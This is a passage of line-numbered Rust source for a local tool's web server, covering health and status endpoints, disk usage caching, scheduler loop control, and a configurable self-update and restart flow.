2695struct UpgradeProgressView {
2696 trigger: updater::UpgradeTrigger,
2697 stage: updater::Stage,
2698 from: String,
2699 to: Option<String>,
2700 waiting_on: Option<String>,
2703 started_at: Timestamp,
2704 updated_at: Timestamp,
2705 detail: Option<String>,
2706 stuck_for_secs: Option<i64>,
2709 stuck_kind: Option<updater::StallKind>,
2712 handover_alive: bool,
2715}
2716
2717fn should_spawn_recheck(cfg: &Update) -> bool {
2724 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2725}
2726
2727fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2739 if progress.is_some_and(|p| !p.stage.terminal()) {
2740 return false;
2741 }
2742 checker.should_check()
2743}
2744
2745fn recheck_poll_period(cfg: &Update) -> Duration {
2758 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2759}
2760
2761#[derive(Debug, PartialEq, Eq)]
2762enum AutoUpgradeDecision {
2763 Skip(&'static str),
2764 Trigger,
2765}
2766
2767fn auto_upgrade_decision(
2768 cfg: &Update,
2769 disabled: bool,
2770 in_motion: bool,
2771 tag: &str,
2772 failed: Option<&str>,
2773) -> AutoUpgradeDecision {
2774 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2775 AutoUpgradeDecision::Skip("disabled")
2776 } else if in_motion {
2777 AutoUpgradeDecision::Skip("upgrade already in progress")
2778 } else if failed == Some(tag) {
2779 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2780 } else {
2781 AutoUpgradeDecision::Trigger
2782 }
2783}
2784
2785async fn run_update_recheck(ui: Arc<Ui>) {
2787 loop {
2788 tokio::time::sleep(update_recheck_once(&ui).await).await;
2789 }
2790}
2791
2792async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2793 let cfg = match Config::discover(&ui.repo, None) {
2794 Ok((cfg, _)) => cfg,
2795 Err(e) => {
2796 updater::log_warn(
2797 &ui.home,
2798 &format!("auto-upgrade: config unavailable: {e:#}"),
2799 );
2800 return UPDATE_RECHECK_POLL_MAX;
2801 }
2802 };
2803 if should_spawn_recheck(&cfg.update)
2804 && let Some(checker) = updater::Checker::new(&cfg.update)
2805 {
2806 let progress = updater::read_progress(&ui.home);
2807 let mut latest = checker.cached_update();
2808 if update_recheck_due(&checker, progress.as_ref()) {
2809 match checker.newer_release().await {
2810 Ok(found) => latest = found,
2811 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2812 }
2813 }
2814 if cfg.update.auto_restart
2815 && let Some(latest) = latest
2816 {
2817 let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2818 updater::log_step(
2819 &ui.home,
2820 &format!("auto-upgrade: request status {}", response.status()),
2821 );
2822 }
2823 }
2824 recheck_poll_period(&cfg.update)
2825}
2826
2827fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2833 let default;
2834 let cfg = match cfg {
2835 Some(cfg) => cfg,
2836 None => {
2837 default = Config::default();
2838 &default
2839 }
2840 };
2841 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2842 match latest {
2843 Some(latest) => UpdateView {
2844 available: true,
2845 to: Some(latest.tag_name),
2846 },
2847 None => UpdateView {
2848 available: false,
2849 to: None,
2850 },
2851 }
2852}
2853
2854fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2860 let now = Timestamp::now();
2861 let lease = updater::read_lease(&ui.home);
2862 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2863 let run_id = alive
2864 .and_then(|l| l.parked_run.as_deref())
2865 .or(progress.parked_run.as_deref());
2866 let parking = progress.stage == updater::Stage::Parking;
2867 let waited = alive.map_or_else(String::new, |l| {
2868 let secs = updater::waited_secs(l, now);
2869 format!(" (waited {} min so far)", secs / 60)
2870 });
2871 let run_text = run_id
2872 .filter(|_| parking)
2873 .map(|id| match read_run(&ui.runs, id).ok() {
2874 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2875 None => format!("run {id} is finishing"),
2876 });
2877 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2878 .filter(|t| parking && !t.is_empty())
2879 .map(|t| format!("{t} finishing"));
2880 let waiting_on = match (run_text, talks_text) {
2881 (None, None) => None,
2882 (run, talks) => {
2883 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2884 Some(format!(
2885 "{} before the address is handed over{waited}",
2886 parts.join(" and ")
2887 ))
2888 }
2889 };
2890 let detail = progress
2891 .detail
2892 .clone()
2893 .or_else(|| updater::read_note(&ui.home, &progress));
2894 let stalled = updater::stall(&progress, lease.as_ref(), now);
2895 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2896 UpgradeProgressView {
2897 trigger: progress.trigger,
2898 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2899 stuck_kind: stalled.map(|s| s.kind),
2900 handover_alive: alive.is_some(),
2901 stage: progress.stage,
2902 from: progress.from,
2903 to: progress.to,
2904 waiting_on,
2905 started_at: progress.started_at,
2906 updated_at: progress.updated_at,
2907 detail,
2908 }
2909}
2910
2911#[derive(Debug, Serialize)]
2914struct DiskView {
2915 #[serde(skip_serializing_if = "Option::is_none")]
2917 free_bytes: Option<u64>,
2918 runs_bytes: Option<u64>,
2920 worktrees_bytes: Option<u64>,
2922 #[serde(skip_serializing_if = "Option::is_none")]
2924 cache_bytes: Option<u64>,
2925 retention: Option<crate::retention::Report>,
2927}
2928
2929const DISK_REFRESH: Duration = Duration::from_secs(60);
2932
2933#[derive(Debug, Clone, PartialEq, Eq)]
2934struct DiskScope {
2935 runs: PathBuf,
2936 worktrees: PathBuf,
2937 cache: Option<PathBuf>,
2938}
2939
2940impl DiskScope {
2941 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2942 Self {
2943 runs: ui.runs.clone(),
2944 worktrees: ui.worktrees_root.clone(),
2945 cache: cfg.and_then(Config::cache_dir),
2946 }
2947 }
2948}
2949
2950#[derive(Debug, Clone, Copy, Default)]
2951struct DiskCapacity {
2952 free_bytes: Option<u64>,
2953 runs_bytes: Option<u64>,
2954 worktrees_bytes: Option<u64>,
2955 cache_bytes: Option<u64>,
2956}
2957
2958impl DiskCapacity {
2959 fn measure(scope: &DiskScope) -> Self {
2960 Self {
2961 free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2962 runs_bytes: disk_capacity_size(&scope.runs),
2963 worktrees_bytes: disk_capacity_size(&scope.worktrees),
2964 cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2965 }
2966 }
2967
2968 fn retain_successes(&mut self, next: Self) {
2969 self.free_bytes = next.free_bytes.or(self.free_bytes);
2970 self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2971 self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2972 self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2973 }
2974}
2975
2976fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2979 let metadata = match std::fs::symlink_metadata(path) {
2980 Ok(metadata) => metadata,
2981 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2982 Err(_) => return None,
2983 };
2984 if !metadata.is_dir() {
2985 return Some(if metadata.is_file() {
2986 metadata.len()
2987 } else {
2988 0
2989 });
2990 }
2991 let mut total = 0;
2992 let mut stack = vec![path.to_owned()];
2993 while let Some(dir) = stack.pop() {
2994 for entry in std::fs::read_dir(dir).ok()? {
2995 let entry = entry.ok()?;
2996 let metadata = entry.metadata().ok()?;
2997 if metadata.is_dir() {
2998 stack.push(entry.path());
2999 } else if metadata.is_file() {
3000 total += metadata.len();
3001 }
3002 }
3003 }
3004 Some(total)
3005}
3006
3007#[derive(Debug, Default)]
3008struct DiskObservation {
3009 scope: Option<DiskScope>,
3010 capacity: DiskCapacity,
3011 in_flight: bool,
3012 finished: Option<std::time::Instant>,
3013}
3014
3015impl DiskObservation {
3016 fn observe(
3017 state: &Arc<Mutex<Self>>,
3018 scope: DiskScope,
3019 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
3020 ) -> DiskCapacity {
3021 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
3022 if observation.scope.as_ref() != Some(&scope) {
3023 observation.scope = Some(scope.clone());
3024 observation.capacity = DiskCapacity::default();
3025 observation.finished = None;
3026 }
3027 let capacity = observation.capacity;
3028 if observation.in_flight
3029 || observation
3030 .finished
3031 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
3032 {
3033 return capacity;
3034 }
3035 observation.in_flight = true;
3036 drop(observation);
3037
3038 let refresh = DiskRefresh {
3039 state: Arc::clone(state),
3040 scope,
3041 };
3042 tokio::task::spawn_blocking(move || {
3043 let next = measure(&refresh.scope);
3044 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
3045 if observation.scope.as_ref() == Some(&refresh.scope) {
3046 observation.capacity.retain_successes(next);
3047 }
3048 drop(observation);
3049 drop(refresh);
3052 });
3053 capacity
3054 }
3055}
3056
3057struct DiskRefresh {
3058 state: Arc<Mutex<DiskObservation>>,
3059 scope: DiskScope,
3060}
3061
3062impl Drop for DiskRefresh {
3063 fn drop(&mut self) {
3064 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
3065 observation.in_flight = false;
3066 if observation.scope.as_ref() == Some(&self.scope) {
3067 observation.finished = Some(std::time::Instant::now());
3069 }
3070 }
3071}
3072
3073impl DiskView {
3074 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
3076 let capacity = DiskObservation::observe(
3077 &ui.monitor.disk,
3078 DiskScope::of(ui, cfg),
3079 DiskCapacity::measure,
3080 );
3081 Self::with_capacity(ui, capacity)
3082 }
3083
3084 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
3085 Self {
3086 free_bytes: crate::disk::free_bytes(&ui.runs)
3087 .ok()
3088 .or(capacity.free_bytes),
3089 runs_bytes: capacity.runs_bytes,
3090 worktrees_bytes: capacity.worktrees_bytes,
3091 cache_bytes: capacity.cache_bytes,
3092 retention: ui
3093 .runs
3094 .parent()
3095 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
3096 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
3097 }
3098 }
3099}
3100
3101#[derive(Debug, Serialize)]
3103struct DaemonView {
3104 running: bool,
3105 idle: Option<bool>,
3106 dispatch_wait: Option<daemon::DispatchWait>,
3107 pid: Option<u32>,
3108 current: Vec<daemon::Current>,
3112 completed: Option<u64>,
3113 stale_for_secs: Option<i64>,
3114}
3115
3116impl DaemonView {
3117 fn of(status: Option<daemon::Reading>) -> Self {
3121 let Some(status) = status else {
3122 return Self {
3123 running: false,
3124 idle: None,
3125 dispatch_wait: None,
3126 pid: None,
3127 current: Vec::new(),
3128 completed: None,
3129 stale_for_secs: None,
3130 };
3131 };
3132 let now = Timestamp::now();
3133 let age = status.age_secs(now);
3134 Self {
3135 running: status.running(now),
3136 idle: Some(status.idle),
3137 dispatch_wait: status.dispatch_wait,
3138 pid: status.pid,
3139 current: status.current,
3140 completed: Some(status.completed),
3141 stale_for_secs: age,
3142 }
3143 }
3144}
3145
3146fn refresh_health_config(ui: &Arc<Ui>) {
3149 let mut cache = ui
3150 .monitor
3151 .disk_cache
3152 .lock()
3153 .unwrap_or_else(PoisonError::into_inner);
3154 if cache.loading
3155 || cache
3156 .measured
3157 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3158 {
3159 return;
3160 }
3161 cache.loading = true;
3162 let weak = Arc::downgrade(ui);
3163 std::thread::spawn(move || {
3164 let Some(ui) = weak.upgrade() else { return };
3165 let cfg = deputy_config(&ui.repo);
3166 let update = cached_update_view(cfg.as_ref());
3167 let mut cache = ui
3168 .monitor
3169 .disk_cache
3170 .lock()
3171 .unwrap_or_else(PoisonError::into_inner);
3172 cache.config = cfg;
3173 cache.update = Some(update);
3174 cache.measured = Some(std::time::Instant::now());
3175 cache.loading = false;
3176 });
3177}
3178
3179fn health_counts(
3180 ui: &Ui,
3181 fallback_questions_rev: u64,
3182) -> ApiResult<(usize, usize, usize, u64, usize)> {
3183 let mut index = ui
3184 .monitor
3185 .health_index
3186 .lock()
3187 .unwrap_or_else(PoisonError::into_inner);
3188 let ids = run_ids(&ui.runs);
3189 let seen: HashSet<_> = ids.iter().cloned().collect();
3190 index.runs.retain(|id, _| seen.contains(id));
3191 let mut unreadable = 0;
3192 for id in ids {
3193 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3196 let bad = match identity {
3197 Ok(identity) => {
3198 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3199 let bad = read_run(&ui.runs, &id).is_err();
3200 index.runs.insert(id.clone(), (identity, bad));
3201 #[cfg(test)]
3202 {
3203 index.run_parses += 1;
3204 }
3205 }
3206 index.runs[&id].1
3207 }
3208 Err(_) => true,
3209 };
3210 unreadable += usize::from(bad);
3211 }
3212 let questions_rev = try_stamps(ui.questions.root(), false, true)
3213 .map(|stamps| stamps_revision(&stamps))
3214 .unwrap_or(fallback_questions_rev);
3215 if index.questions.as_ref().is_none_or(|counts| {
3216 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3217 }) {
3218 let questions = ui.questions.list();
3219 index.questions = Some(QuestionCounts {
3220 revision: questions_rev,
3221 measured: std::time::Instant::now(),
3222 open: questions.iter().filter(|q| q.status.open()).count(),
3223 owner: questions
3224 .iter()
3225 .filter(|q| {
3226 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3227 })
3228 .count(),
3229 });
3230 }
3231 let notifications_rev =
3232 stamps_revision(¬ice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3233 if index
3234 .notices
3235 .is_none_or(|(rev, _)| rev != notifications_rev)
3236 {
3237 index.notices = Some((notifications_rev, ui.notices.count_unread()));
3238 }
3239 let questions = index.questions.as_ref().unwrap();
3240 Ok((
3241 unreadable,
3242 questions.open,
3243 questions.owner,
3244 notifications_rev,
3245 index.notices.unwrap().1,
3246 ))
3247}
3248
3249async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3250 let revisions = ui.monitor.revisions(&ui).await?;
3251 refresh_health_config(&ui);
3252 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3253 let reading = daemon::read_status(&ui.home);
3257 let loop_rev = ui.lock_loop().rev;
3261 let (
3262 runs_unreadable,
3263 questions_open,
3264 questions_needs_owner,
3265 notifications_rev,
3266 notifications_unread,
3267 ) = health_counts(&ui, revisions.2)?;
3268 let ((cfg, config_observed, sizes, measured), update) = {
3269 let cache = ui
3270 .monitor
3271 .disk_cache
3272 .lock()
3273 .unwrap_or_else(PoisonError::into_inner);
3274 (
3275 (
3276 cache.config.clone(),
3277 cache.measured.is_some(),
3278 cache.disk.clone(),
3279 cache.measured,
3280 ),
3281 cache.update.clone().unwrap_or(UpdateView {
3282 available: false,
3283 to: None,
3284 }),
3285 )
3286 };
3287 let prior_capacity = {
3291 let mut observation = ui
3292 .monitor
3293 .disk
3294 .lock()
3295 .unwrap_or_else(PoisonError::into_inner);
3296 if observation.scope.is_none()
3299 && let Some(sizes) = sizes
3300 {
3301 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3302 observation.capacity = DiskCapacity {
3303 runs_bytes: Some(sizes.runs),
3304 worktrees_bytes: Some(sizes.worktrees),
3305 cache_bytes: sizes.cache,
3306 free_bytes: None,
3307 };
3308 observation.finished = measured;
3309 }
3310 observation.scope.as_ref().map(|_| observation.capacity)
3311 };
3312 let disk = if config_observed {
3313 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3314 } else {
3315 serde_json::to_value(DiskView::with_capacity(
3316 &ui,
3317 prior_capacity.unwrap_or_default(),
3318 ))
3319 .ok()
3320 };
3321 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3322 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3323 #[cfg(not(test))]
3324 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3325 #[cfg(test)]
3326 let looping = ui.loop_view(reading.clone());
3327 Ok(Json(HealthView {
3328 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3329 version: env!("CARGO_PKG_VERSION"),
3330 home: ui.home.display().to_string(),
3331 queue_rev: revisions.0,
3332 runs_rev: revisions.1,
3333 questions_rev: revisions.2,
3334 talks_rev: revisions.3,
3335 notifications_rev,
3336 notifications_unread,
3337 loop_rev,
3338 runs_unreadable,
3339 questions_open,
3340 questions_needs_owner,
3341 daemon: DaemonView::of(reading.clone()),
3342 looping,
3343 disk,
3344 update,
3345 upgrade,
3346 upgrade_request_error: ui
3347 .upgrade_request_error
3348 .lock()
3349 .unwrap_or_else(PoisonError::into_inner)
3350 .clone(),
3351 }))
3352 })
3353 .await
3354}
3355
3356#[derive(Debug, Serialize)]
3358struct LoopView {
3359 running: bool,
3361 stopping: bool,
3363 parking: bool,
3365 owned: bool,
3367 repo: String,
3370 merge: Option<String>,
3373 last_error: Option<String>,
3381 daemon: DaemonView,
3384}
3385
3386#[derive(Debug, Clone, Copy)]
3391struct Foreign {
3392 pid: Option<u32>,
3394}
3395
3396impl Foreign {
3397 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3400 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3404 return None;
3405 }
3406 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3407 }
3408
3409 fn who(&self) -> String {
3412 match self.pid {
3413 Some(pid) => format!("another magi process (pid {pid})"),
3414 None => "another magi process".to_owned(),
3415 }
3416 }
3417}
3418
3419type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3424
3425#[cfg(test)]
3426type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3427
3428#[cfg(test)]
3430fn launch_daemon(
3431 opts: daemon::Opts,
3432 stop: daemon::Stop,
3433) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3434 Box::pin(daemon::serve_until(opts, stop))
3435}
3436
3437#[derive(Debug, Default)]
3439struct LoopState {
3440 #[cfg(test)]
3442 live: Option<Live>,
3443 rev: u64,
3446 last_error: Option<String>,
3449}
3450
3451#[cfg(test)]
3453#[derive(Debug)]
3454struct Live {
3455 stop: daemon::Stop,
3457 handle: tokio::task::JoinHandle<()>,
3462 opts: daemon::Opts,
3466}
3467
3468#[cfg(test)]
3469impl Live {
3470 fn alive(&self) -> bool {
3472 !self.handle.is_finished()
3473 }
3474}
3475
3476fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3483 state.lock().unwrap_or_else(PoisonError::into_inner)
3484}
3485
3486async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3488 blocking(move || {
3489 let reading = daemon::read_status(&ui.home);
3490 #[cfg(not(test))]
3491 let view = ui.try_loop_view(reading)?;
3492 #[cfg(test)]
3493 let view = ui.loop_view(reading);
3494 Ok(Json(view))
3495 })
3496 .await
3497}
3498
3499#[derive(Debug, Deserialize)]
3505#[serde(deny_unknown_fields)]
3506struct LoopCommand {
3507 running: bool,
3508 #[serde(default)]
3518 park: bool,
3519}
3520
3521async fn loop_post(
3524 State(ui): State<Arc<Ui>>,
3525 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3526) -> ApiResult<Json<LoopView>> {
3527 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3530 #[cfg(not(test))]
3531 {
3532 if body.running {
3533 ui.start_detached_loop().await?;
3534 } else {
3535 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3536 ui.stop_loop(foreign, body.park)?;
3537 }
3538 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3539 }
3540 #[cfg(test)]
3541 {
3542 blocking(move || {
3543 let reading = daemon::read_status(&ui.home);
3544 let foreign = Foreign::of(reading.as_ref());
3545 if body.running {
3546 ui.start_loop(foreign)?;
3547 } else {
3548 ui.stop_loop(foreign, body.park)?;
3549 }
3550 Ok(Json(ui.loop_view(reading)))
3551 })
3552 .await
3553 }
3554}
3555
3556#[derive(Debug, Serialize)]
3558struct UpgradeView {
3559 from: String,
3561 to: Option<String>,
3563 detail: String,
3565}
3566
3567fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3570 progress.filter(|p| !p.stage.terminal())
3571}
3572
3573fn upgrade_retry_after(message: &str) -> Option<u64> {
3576 if !message.contains("GitHub") || !message.contains("rate limit") {
3577 return None;
3578 }
3579 if message.contains("retry now") {
3580 return Some(0);
3581 }
3582 let duration = message
3583 .split_once("resets in ")
3584 .or_else(|| message.split_once("retry after "))?
3585 .1
3586 .split_once(')')?
3587 .0;
3588 let mut rest = duration.trim();
3589 if rest.is_empty() {
3590 return None;
3591 }
3592 let mut total = 0u64;
3593 while !rest.is_empty() {
3594 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3595 let amount: u64 = rest[..n].parse().ok()?;
3596 let scale = match rest[n..].chars().next()? {
3597 's' => 1,
3598 'm' => 60,
3599 'h' => 3600,
3600 'd' => 86400,
3601 _ => return None,
3602 };
3603 total = total.checked_add(amount.checked_mul(scale)?)?;
3604 rest = rest[n + 1..].trim_start();
3605 }
3606 Some(total)
3607}
3608
3609#[derive(Debug, Clone, Serialize)]
3610struct UpgradeRequestFailure {
3611 occurred_at: String,
3612 error: String,
3613 retry_after_secs: Option<u64>,
3614 retry_at: Option<u64>,
3616}
3617
3618impl UpgradeRequestFailure {
3619 fn new(error: String) -> Self {
3620 let retry_after_secs = upgrade_retry_after(&error);
3621 let now = std::time::SystemTime::now()
3622 .duration_since(std::time::UNIX_EPOCH)
3623 .unwrap_or_default()
3624 .as_secs();
3625 Self {
3626 occurred_at: jiff::Timestamp::now().to_string(),
3627 error,
3628 retry_after_secs,
3629 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3630 }
3631 }
3632}
3633
3634async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3647 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3648}
3649
3650async fn begin_upgrade(
3651 ui: &Arc<Ui>,
3652 trigger: updater::UpgradeTrigger,
3653 latest: Option<kaishin::LatestRelease>,
3654) -> Response {
3655 let reading = daemon::read_status(&ui.home);
3656 if let Some(other) = Foreign::of(reading.as_ref()) {
3657 return ApiError::conflict(format!(
3658 "{} is a legacy scheduler without detached restart support. \
3659 Finish or explicitly park its work in the existing UI before \
3660 this first migration; independent schedulers do not need this.",
3661 other.who()
3662 ))
3663 .into_response();
3664 }
3665
3666 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3671 return ApiError::conflict("another request is already preparing an upgrade")
3672 .into_response();
3673 };
3674 if trigger == updater::UpgradeTrigger::Auto {
3677 let cfg = match Config::discover(&ui.repo, None) {
3678 Ok((cfg, _)) => cfg,
3679 Err(e) => {
3680 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3681 }
3682 };
3683 let Some(latest) = latest else {
3684 return StatusCode::NO_CONTENT.into_response();
3685 };
3686 let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3687 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3688 let decision = {
3689 let failed = ui
3690 .auto_failed_tag
3691 .lock()
3692 .unwrap_or_else(PoisonError::into_inner);
3693 auto_upgrade_decision(
3694 &cfg.update,
3695 updater::disabled_by_env(),
3696 in_motion,
3697 &latest.tag_name,
3698 failed.as_deref(),
3699 )
3700 };
3701 if let AutoUpgradeDecision::Skip(reason) = decision {
3702 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3703 return StatusCode::NO_CONTENT.into_response();
3704 }
3705 return finish_upgrade_request(
3706 ui,
3707 upgrade_checked_for(
3708 ui,
3709 env!("CARGO_PKG_VERSION").into(),
3710 Ok(Some(latest)),
3711 trigger,
3712 ),
3713 );
3714 }
3715 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3716}
3717
3718fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3719 match result {
3720 Ok(out) => {
3721 *ui.upgrade_request_error
3722 .lock()
3723 .unwrap_or_else(PoisonError::into_inner) = None;
3724 out.into_response()
3725 }
3726 Err(error) if error.status != StatusCode::CONFLICT => {
3727 let failure = UpgradeRequestFailure::new(error.message);
3728 *ui.upgrade_request_error
3729 .lock()
3730 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3731 let mut response = (error.status, Json(&failure)).into_response();
3732 if let Some(value) = failure
3733 .retry_after_secs
3734 .and_then(|secs| secs.to_string().parse().ok())
3735 {
3736 response.headers_mut().insert("retry-after", value);
3737 }
3738 response
3739 }
3740 Err(error) => error.into_response(),
3741 }
3742}
3743
3744async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3745 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3746 return Err(ApiError::conflict(
3747 "an upgrade is already in progress (this process started one and it \
3748 has not finished or failed yet)",
3749 ));
3750 }
3751 let recorded = updater::read_progress(&ui.home);
3752 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3753 return Err(ApiError::conflict(format!(
3754 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3755 stays stuck, restart the deck; on start it settles a stale record.",
3756 p.stage.as_str(),
3757 p.from,
3758 p.to.as_deref().unwrap_or("?"),
3759 )));
3760 }
3761
3762 if crate::updater::disabled_by_env() {
3768 return Ok((
3769 StatusCode::OK,
3770 Json(UpgradeView {
3771 from: env!("CARGO_PKG_VERSION").to_owned(),
3772 to: None,
3773 detail: format!(
3774 "Automatic updates are disabled by {}. Nothing was parked \
3775 and nothing restarted.",
3776 crate::updater::NO_AUTOUPDATE_ENV
3777 ),
3778 }),
3779 ));
3780 }
3781
3782 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3785 let from = env!("CARGO_PKG_VERSION").to_owned();
3786 let latest = match crate::updater::Checker::new(&cfg.update) {
3787 Some(checker) => checker.newer_release().await,
3788 None => Ok(None),
3789 };
3790 upgrade_checked(ui, from, latest)
3791}
3792
3793fn upgrade_checked(
3794 ui: &Arc<Ui>,
3795 from: String,
3796 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3797) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3798 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3799}
3800
3801fn upgrade_checked_for(
3802 ui: &Arc<Ui>,
3803 from: String,
3804 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3805 trigger: updater::UpgradeTrigger,
3806) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3807 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3808 let Some(latest) = latest else {
3809 return Ok((
3810 StatusCode::OK,
3811 Json(UpgradeView {
3812 from,
3813 to: None,
3814 detail: "Already on the newest release. Nothing was parked \
3815 and nothing restarted."
3816 .to_owned(),
3817 }),
3818 ));
3819 };
3820
3821 if let Err(error) = daemon::scheduler_restart_options(&ui.home) {
3822 let detail = format!("cannot determine scheduler restart state: {error:#}");
3823 if trigger == updater::UpgradeTrigger::Auto {
3824 updater::log_warn(&ui.home, &format!("auto-upgrade: {detail}"));
3825 }
3826 return Err(ApiError::internal(detail));
3827 }
3828 if trigger == updater::UpgradeTrigger::Auto {
3829 updater::log_step(&ui.home, "auto-upgrade: beginning update and restart");
3830 }
3831
3832 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3833
3834 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3838 progress.trigger = trigger;
3839 updater::write_progress_logged(&ui.home, &progress);
3840
3841 let home = ui.home.clone();
3842 ui.upgrade_spawned
3843 .store(true, std::sync::atomic::Ordering::SeqCst);
3844 let spawned = Arc::clone(&ui.upgrade_spawned);
3845 let runner = ui.upgrade_runner;
3846 let failed = ui.auto_failed_tag.clone();
3847 let tag = latest.tag_name.clone();
3848 tokio::spawn(async move {
3849 if let Err(e) = runner(home.clone()).await {
3850 if trigger == updater::UpgradeTrigger::Auto {
3851 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3852 }
3853 tracing::error!("the upgrade did not complete: {e:#}");
3854 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3858 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3860 }
3861 });
3862
3863 Ok((
3864 StatusCode::ACCEPTED,
3865 Json(UpgradeView {
3866 from,
3867 to: Some(latest.tag_name),
3868 detail,
3869 }),
3870 ))
3871}
3872
3873async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3878 crate::updater::run_self_update(true, false, true).await?;
3881 updater::log_step(&home, "binary replaced - recording the replaced stage");
3882 if let Some(mut progress) = updater::read_progress(&home) {
3883 progress.advance(updater::Stage::Replaced);
3884 updater::write_progress_logged(&home, &progress);
3885 }
3886 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3887 HANDOVER.notify_one();
3888 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3889 Ok(())
3890}
3891
3892#[derive(Debug, Serialize)]
3898struct RunSummary {
3899 activity: String,
3900 id: String,
3901 short: String,
3902 status: String,
3903 done: bool,
3904 instruction: String,
3905 title: String,
3906 repo: String,
3907 repo_name: String,
3908 created_at: String,
